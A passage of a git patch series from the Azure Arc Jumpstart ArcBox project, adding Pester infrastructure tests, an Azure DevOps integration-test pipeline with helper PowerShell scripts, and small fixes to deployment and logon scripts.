b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index c4b26a4e3e..223d4d19d8 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -150,7 +150,6 @@ $url = "https://github.com/PowerShell/PowerShell/releases/latest" $latestVersion = (Invoke-WebRequest -UseBasicParsing -Uri $url).Content | Select-String -Pattern "v[0-9]+\.[0-9]+\.[0-9]+" | Select-Object -ExpandProperty Matches | Select-Object -ExpandProperty Value $downloadUrl = "https://github.com/PowerShell/PowerShell/releases/download/$latestVersion/PowerShell-$($latestVersion.Substring(1,5))-win-x64.msi" Invoke-WebRequest -UseBasicParsing -Uri $downloadUrl -OutFile .\PowerShell7.msi -msiexec.exe /package PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1 Start-Process msiexec.exe -Wait -ArgumentList '/I PowerShell7.msi /quiet ADD_EXPLORER_CONTEXT_MENU_OPENPOWERSHELL=1 ADD_FILE_CONTEXT_MENU_RUNPOWERSHELL=1 ENABLE_PSREMOTING=1 REGISTER_MANIFEST=1 USE_MU=1 ENABLE_MU=1 ADD_PATH=1' Remove-Item .\PowerShell7.msi From 986130b5096699e9ee3741fbc184115fa863b53a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 15 Jan 2024 14:35:11 +0200 Subject: [PATCH 069/506] Add tests to verify infrastructure and display results on wallpaper using BGInfo --- .../artifacts/DataOpsLogonScript.ps1 | 20 +++++++++++++ .../artifacts/tests/dataops.tests.ps1 | 30 +++++++++++++++++++ 2 files changed, 50 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 85773492b3..479e94b2b5 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -343,6 +343,26 @@ if ($null -ne (Get-ScheduledTask -TaskName "DataOpsLogonScript" -ErrorAction Sil Start-Sleep -Seconds 5 +Write-Header "Running tests to verify infrastructure" + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops +$tests_passed = $tests_passed + $tests_dataops.Passed.Count +$tests_failed = $tests_failed + $tests_dataops.Failed.Count + +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed + +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT + # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" Invoke-Expression 'cmd /c start Powershell -Command { diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 index e69de29bb2..9a8969141a 100644 --- a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -0,0 +1,30 @@ + +BeforeDiscovery { + + $capiArcDataClusterName = $env:capiArcDataClusterName + $aksArcClusterName = $env:aksArcClusterName + $aksdrArcClusterName = $env:aksdrArcClusterName + + $clusters = @($capiArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) + $dataControllers = @("${capiArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") + $sqlInstances = @("capi-sql", "aks-sql", "aks-dr-sql") + + $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force + $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + + $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId +} + +Describe "" -ForEach $clusters { + BeforeAll { + $cluster = $_ + } + It "Cluster exists" { + $clusterObject = Get-AzConnectedKubernetes -ClusterName $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $clusterObject | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected cluster is connected" { + $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedCluster.ConnectivityStatus | Should -Be "Connected" + } +} \ No newline at end of file From 6ed039a1d3145ca076261f4752e228d00182f0b5 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Mon, 15 Jan 2024 18:13:11 +0200 Subject: [PATCH 070/506] Remove unnecessary 'az account set' command --- azure_jumpstart_arcbox/artifacts/installCAPI.sh | 1 - azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 2 files changed, 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh index b40e11e971..54f8d2765b 100644 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ b/azure_jumpstart_arcbox/artifacts/installCAPI.sh @@ -53,7 +53,6 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) az -v diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 0417b1c1ce..ccfa513ce9 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -79,7 +79,6 @@ echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) -sudo -u $adminUsername az account set -s $subscriptionId az -v echo "" From 58de4c8f6cfa5c2a30801c8c87c8fc12ed078e63 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 17 Jan 2024 19:01:32 +0200 Subject: [PATCH 071/506] Add custom location and data controller variables This commit adds two new variables, $customLocation and $dataController, to the PowerShell script. These variables are used to store the custom location and data controller names for each cluster. This change enables the script to create custom locations and deploy the Azure Arc Data Controller on each cluster. --- .../artifacts/DataOpsLogonScript.ps1 | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 479e94b2b5..10d796a6f6 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -181,6 +181,9 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { $cluster = $_ $context = $cluster.context $clusterName = $cluster.clusterName + $customLocation = $cluster.customLocation + $dataController = $cluster.dataController + Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" Write-Host "Deploying arc data services on $clusterName" Write-Host "`n" @@ -204,17 +207,17 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { } while ($podStatus -eq "Nope") Write-Host "Bootstrapper pod is ready!" - $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv + $connectedClusterId = az connectedk8s show --name $clusterName --resource-group $Env:resourceGroup --query id -o tsv + $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $clusterName --resource-group $Env:resourceGroup --query id -o tsv Start-Sleep -Seconds 10 - az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors + az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig --only-show-errors Start-Sleep -Seconds 20 # Deploying the Azure Arc Data Controller $context = $cluster.context - $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + $customLocationId = $(az customlocation show --name $customLocation --resource-group $Env:resourceGroup --query id -o tsv) $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" @@ -235,7 +238,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { Write-Host "Deploying arc data controller on $clusterName" Write-Host "`n" - az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + az deployment group create --resource-group $Env:resourceGroup --name $dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" Write-Host "`n" Do { From f71737dc0377c8c205aa4e64ae51ada28b3eeae4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Wed, 17 Jan 2024 19:29:36 +0200 Subject: [PATCH 072/506] Update DataOpsLogonScript.ps1 to use variables for cluster name and data controller --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 10d796a6f6..ae617b33a8 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -264,10 +264,12 @@ $Env:WORKSPACE_ID = $(az resource show --resource-group $Env:resourceGroup --nam $Env:WORKSPACE_SHARED_KEY = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) foreach($cluster in $clusters){ - $Env:MSI_OBJECT_ID = (az k8s-extension show --resource-group $Env:resourceGroup --cluster-name $cluster.clusterName --cluster-type connectedClusters --name arc-data-services | convertFrom-json).identity.principalId + $clusterName = $cluster.clusterName + $dataController = $cluster.dataController + $Env:MSI_OBJECT_ID = (az k8s-extension show --resource-group $Env:resourceGroup --cluster-name $clusterName --cluster-type connectedClusters --name arc-data-services | convertFrom-json).identity.principalId az role assignment create --assignee $Env:MSI_OBJECT_ID --role 'Monitoring Metrics Publisher' --scope "/subscriptions/$Env:subscriptionId/resourceGroups/$Env:resourceGroup" - az arcdata dc update --name $cluster.dataController --resource-group $Env:resourceGroup --auto-upload-metrics true - az arcdata dc update --name $cluster.dataController --resource-group $Env:resourceGroup --auto-upload-logs true + az arcdata dc update --name $dataController --resource-group $Env:resourceGroup --auto-upload-metrics true + az arcdata dc update --name $dataController --resource-group $Env:resourceGroup --auto-upload-logs true } Write-Header "Deploying App" From 3de5ccb8b83954eed59d492f19f92a5bef1e85de Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 18 Jan 2024 08:55:17 +0200 Subject: [PATCH 073/506] Refactor test script invocation in DataOpsLogonScript.ps1 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index ae617b33a8..1eb46b06b0 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -354,7 +354,7 @@ Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -Pas $tests_passed = $tests_common.Passed.Count $tests_failed = $tests_common.Failed.Count -Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -Output Detailed -PassThru -OutVariable tests_dataops +Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops $tests_passed = $tests_passed + $tests_dataops.Passed.Count $tests_failed = $tests_failed + $tests_dataops.Failed.Count From ec624671638960b948b1e67a774e208bd4e408b4 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Thu, 18 Jan 2024 12:19:43 +0200 Subject: [PATCH 074/506] Add OpenSSL Light package using WinGet --- azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index 57d3cf9aed..d1bb0659d1 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -44,4 +44,12 @@ properties: settings: id: Microsoft.AzureDataStudio source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: ShiningLight.OpenSSL.Light + directives: + description: Install OpenSSL light + settings: + id: ShiningLight.OpenSSL.Light + source: winget + configurationVersion: 0.2.0 \ No newline at end of file From 1f3e0e5788ad645cb629058e572007d20e9dde2e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 19 Jan 2024 20:15:46 +0000 Subject: [PATCH 075/506] Added ADO pipeline and scripts for ArcBox integration tests Signed-off-by: Jan Egil Ring --- .../integration_tests/arcbox_itpro.yml | 96 ++++++++++++++ .../scripts/Get-PesterResult.ps1 | 27 ++++ .../scripts/Send-PesterResult.ps1 | 118 ++++++++++++++++++ .../scripts/Wait-ArcBoxDeployment.ps1 | 21 ++++ 4 files changed, 262 insertions(+) create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml new file mode 100644 index 0000000000..356e9985b1 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -0,0 +1,96 @@ +trigger: + branches: + include: + - arcbox_3.0 + paths: + include: + - azure_jumpstart_arcbox/* + +parameters: +- name: ResourceGroupName + displayName: 'Resource Group Name' + type: string + default: 'arcbox-itpro-integration-tests' + +variables: + ResourceGroupName: ${{parameters.ResourceGroupName}} + +stages: +- stage: 'ArcBox_deployment' + jobs: + - job: Deploy + timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown + pool: + #name: arc-jumpstart-container-apps-pool + vmImage: 'ubuntu-latest' + continueOnError: 'true' + steps: + + - task: BicepInstall@0 + displayName: 'Install Bicep' + inputs: + version: 0.24.24 + + - task: AzurePowerShell@5 + displayName: 'Deploy resource group' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Running deployment from machine $(hostname) and public IP $(irm ifconfig.me/ip)" + $RGname = "$(ResourceGroupName)" + New-AzResourceGroup -Name $RGname -Location "eastus" + + - task: AzurePowerShell@5 + displayName: 'Deploy Bicep template' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deploying to $(ResourceGroupName)" + New-AzResourceGroupDeployment -Name ArcBox -ResourceGroupName $(ResourceGroupName) -TemplateFile scenarios/arcbox/main.bicep -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + + - task: AzurePowerShell@5 + displayName: 'Upload Pester test-results from ArcBox VM' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: AzurePowerShell@5 + displayName: 'Download Pester test-results from storage account to pipeline agent' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFormat: NUnit + testResultsFiles: '$(System.DefaultWorkingDirectory)/testresults/*.xml' + +- stage: destroy + displayName: 'ArcBox_teardown' + #condition: succeeded('deploy') + jobs: + - deployment: + displayName: "Get approval" + environment: 'teardown_approval' + - job: Delete + steps: + - task: AzurePowerShell@5 + displayName: 'Delete resource group' + inputs: + azureSubscription: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deleting resource group $(ResourceGroupName)" + Remove-AzResourceGroup -Name $(ResourceGroupName) -Force \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 new file mode 100644 index 0000000000..50940255ac --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1 @@ -0,0 +1,27 @@ +param( + [Parameter(Mandatory=$true)] + [string]$ResourceGroupName +) + +Write-Host "Getting Pester test-result files from storage account in resource group $ResourceGroupName" + +$path = $ENV:SYSTEM_DEFAULTWORKINGDIRECTORY + "/testresults" +$null = New-Item -ItemType Directory -Force -Path $path + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $ResourceGroupName +$ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount +$blobs = Get-AzStorageBlob -Container "testresults" -Context $ctx + +foreach ($blob in $blobs) { + + $destinationblobname = ($blob.Name).Split("/")[-1] + $destinationpath = "$path/$($destinationblobname)" + + try { + Get-AzStorageBlobContent -Container "testresults" -Blob $blob.Name -Destination $destinationpath -Context $ctx -ErrorAction Stop + } + catch { + Write-Error -Message "Failed to download blob $blob.Name" + } + +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 new file mode 100644 index 0000000000..db5793c2a9 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -0,0 +1,118 @@ +Start-Transcript -Path C:\ArcBox\logs\Get-PesterResult.log -Force + +Write-Output "Get-PesterResult.ps1 started in $(hostname.exe) as user $(whoami.exe) at $(Get-Date)" + +$timeout = New-TimeSpan -Minutes 180 +$endTime = (Get-Date).Add($timeout) +$logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" + +Write-Output "Waiting for PowerShell transcript end in $logFilePath" + +do { + + if (Test-Path $logFilePath) { + Write-Output "Log file $logFilePath exists" + + $content = Get-Content -Path $logFilePath -Tail 5 + if ($content -like "*PowerShell transcript end*") { + Write-Output "PowerShell transcript end detected in $logFilePath at $(Get-Date)" + break + } else { + Write-Output "PowerShell transcript end not detected in $logFilePath at $(Get-Date) - waiting 60 seconds" + } + } else { + Write-Output "Log file $logFilePath does not yet exist - waiting 60 seconds" + } + if ((Get-Date) -ge $endTime) { + throw "Timeout reached. PowerShell transcript end not found." + } + Start-Sleep -Seconds 60 +} while ((Get-Date) -lt $endTime) + +$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force +$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + +$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup + +$ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount + +New-AzStorageContainer -Name testresults -Context $ctx -Permission Off + + +Write-Output "Running Pester tests" + +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + +Import-Module -Name Pester -Force + +$config = [PesterConfiguration]::Default +$config.TestResult.Enabled = $true +$config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\common.tests.xml" +$config.Output.CIFormat = "AzureDevops" +$config.Run.Path = "$Env:ArcBoxTestsDir\common.tests.ps1" +Invoke-Pester -Configuration $config + +switch ($env:flavor) { + 'DevOps' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\devops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\devops.tests.ps1" + Invoke-Pester -Configuration $config +} + 'DataOps' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\dataops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\dataops.tests.ps1" + Invoke-Pester -Configuration $config + } + 'ITPro' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\itpro.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\itpro.tests.ps1" + Invoke-Pester -Configuration $config +} + 'Full' { + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\devops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\devops.tests.ps1" + Invoke-Pester -Configuration $config + + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\dataops.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\dataops.tests.ps1" + Invoke-Pester -Configuration $config + + $config = [PesterConfiguration]::Default + $config.TestResult.Enabled = $true + $config.TestResult.OutputPath = "$Env:ArcBoxLogsDir\itpro.tests.xml" + $config.Output.CIFormat = "AzureDevops" + $config.Run.Path = "$Env:ArcBoxTestsDir\itpro.tests.ps1" + Invoke-Pester -Configuration $config + } +} + +Write-Output "Uploading file to Azure Storage" + +Get-ChildItem $Env:ArcBoxLogsDir -Filter *.xml | ForEach-Object { + $blobname = "$($_.Name)" + Write-Output "Uploading file $($_.Name) to blob $blobname" + Set-AzStorageBlobContent -File $_.FullName -Container testresults -Blob $blobname -Context $ctx +} + +Write-Output "Get-PesterResult.ps1 finished at $(Get-Date)" + +Stop-Transcript \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 new file mode 100644 index 0000000000..d3e7b7ccb0 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -0,0 +1,21 @@ +param( + [Parameter(Mandatory=$true)] + [string]$ResourceGroupName +) + +Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" + +$Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://gist.githubusercontent.com/janegilring/0df14b6b45cde9ebc3060aad995ce173/raw/337a867488b532ccfaece62b5c805d3a31d44c2b/Send-PesterResult.ps1" -AsyncExecution + +do { + $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView + + Write-Host "Instance view of job:" -ForegroundColor Green + $job.InstanceView + Start-Sleep -Seconds 60 + +} while ($job.InstanceView.ExecutionState -eq "Running") + +Write-Host "Job completed" -ForegroundColor Green +$job \ No newline at end of file From 3f4db8acb309fdc48ebb97de16ba091d90f7766a Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 19 Jan 2024 20:31:42 +0000 Subject: [PATCH 076/506] Added parameters file for ITPro Signed-off-by: Jan Egil Ring --- .../arcbox_itpro.parameters.json | 33 +++++++++++++++++++ .../integration_tests/arcbox_itpro.yml | 13 +++++++- 2 files changed, 45 insertions(+), 1 deletion(-) create mode 100644 azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json new file mode 100644 index 0000000000..4d13fcd5b2 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json @@ -0,0 +1,33 @@ +{ + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", + "contentVersion": "1.0.0.0", + "parameters": { + "sshRSAPublicKey": { + "value": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" + }, + "windowsAdminUsername": { + "value": "arcdemo" + }, + "logAnalyticsWorkspaceName": { + "value": "arcbox-la" + }, + "flavor": { + "value": "ITPro" + }, + "deployBastion": { + "value": false + }, + "githubAccount": { + "value": "microsoft" + }, + "githubBranch": { + "value": "arcbox_3.0" + }, + "vmAutologon": { + "value": true + }, + "rdpPort": { + "value": "3390" + } + } +} diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml index 356e9985b1..cc9d1f562a 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -50,7 +50,18 @@ stages: azurePowerShellVersion: 